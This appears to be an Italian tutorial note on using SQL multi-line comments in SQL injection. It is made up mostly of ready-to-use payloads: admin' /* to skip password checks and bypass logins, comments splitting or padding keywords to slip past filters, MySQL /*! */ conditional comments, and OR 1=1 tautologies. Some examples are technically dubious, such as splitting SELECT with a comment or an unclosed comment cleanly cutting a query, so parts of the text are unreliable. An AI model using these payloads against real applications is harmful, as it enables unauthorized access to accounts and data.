tags: sql_injection commenti_multi_linea_sql_Injection commenti_sql_Injection


L’utilità dei commenti /* */ in una SQL injection sta nella loro capacità di:

  1. Disabilitare parti di codice: Immagina di voler “spegnere” temporaneamente una parte della query originale per alterarne il comportamento. Ad esempio, potresti commentare la condizione sulla password per accedere senza conoscerla.

  2. Inserire codice nascosto: Puoi inserire codice malevolo all’interno del commento, che verrà ignorato dal filtro ma eseguito dal database. Questo è utile per aggirare controlli di sicurezza che cercano parole chiave sospette.

  3. Creare query complesse: In alcuni casi, potresti dover costruire una SQL injection più articolata, con più condizioni o sottoquery. I commenti /* */ ti permettono di strutturare il tuo codice in modo più chiaro e di “nascondere” parti di esso al filtro.

Quindi, non si tratta solo di “commentare” qualcosa che hai scritto tu, ma di sfruttare i commenti per manipolare la query originale e ottenere l’effetto desiderato.

Esempi Pratici di Utilizzo di /* */ per bypassare

Esempio 1: Bypass di una Condizione

Supponiamo che la query originale sia:

SELECT * FROM users WHERE username = ‘admin’ AND password = ‘password’;

Se inserisci:

admin’ /*

La query diventa:

SELECT * FROM users WHERE username = ‘admin’ /* AND password = ‘password’;

In questo caso, la condizione AND password = 'password' viene ignorata.


Esempio 2: Bypass di Filtri

Se il server blocca --, puoi usare /* */ per commentare parte della query:

SEL/*commento*/ECT * FROM users;

Questo potrebbe bypassare i filtri che cercano di bloccare il comando SELECT.


Esempio 3: Commento Condizionale (MySQL/MariaDB)

Se il database è MySQL/MariaDB, puoi usare /*! */ per eseguire codice condizionale:

admin’ /*! AND 1=1 */

In MySQL/MariaDB, questo verrà eseguito come:

admin’ AND 1=1

Esempio 4: Bypassare il comando OR filtrato

  • Esempio senza commenti:

    SELECT * FROM users WHERE username = 'admin' OR 1=1--

    Il filtro potrebbe bloccare OR come parola chiave.

  • Esempio con commenti per bypassare il filtro:

    SELECT * FROM users WHERE username = 'admin' /*commento*/ OR /*commento*/ 1=1--

    Il filtro non rileva più la parola OR

Esempi Pratici di Utilizzo di /* */ per evitare errori sintassi

  • Esempio:

    SELECT * FROM users WHERE username = 'admin' AND password = 'password123';

    Payload:

    admin' /* AND password = 'password123' */

    Risultato:

    SELECT * FROM users WHERE username = 'admin';

In questo caso, hai rimosso la parte della query che richiede la password.

Esempi Pratici di Utilizzo di /* */ per Obfuscazione del Payload

Esempio di obfuscazione:

SELECT/*ignore*/ * FROM/*ignore*/ users WHERE/*ignore*/ 1=1--

Questo rende più difficile identificare il payload.

Quando Usare /* */ in una SQL Injection

A. Per Spezzare Parole Chiave

Se il filtro blocca keyword come SELECT, OR, AND, ecc., puoi usare i commenti per aggirarlo:

SELECT/*bypass*/username FROM/*bypass*/users WHERE/*bypass*/1=1--

B. Per Ignorare Parti della Query

Se vuoi ignorare una clausola complessa o aggirare un controllo:

'/* AND password='password123' */

C. Per Analizzare la Struttura

Puoi chiudere la tua iniezione con un commento multi-linea per identificare quale parte della query originale è problematica.

  • Esempio:

    admin' /* Questo è un commento */

    Il risultato:

    SELECT * FROM users WHERE username = 'admin';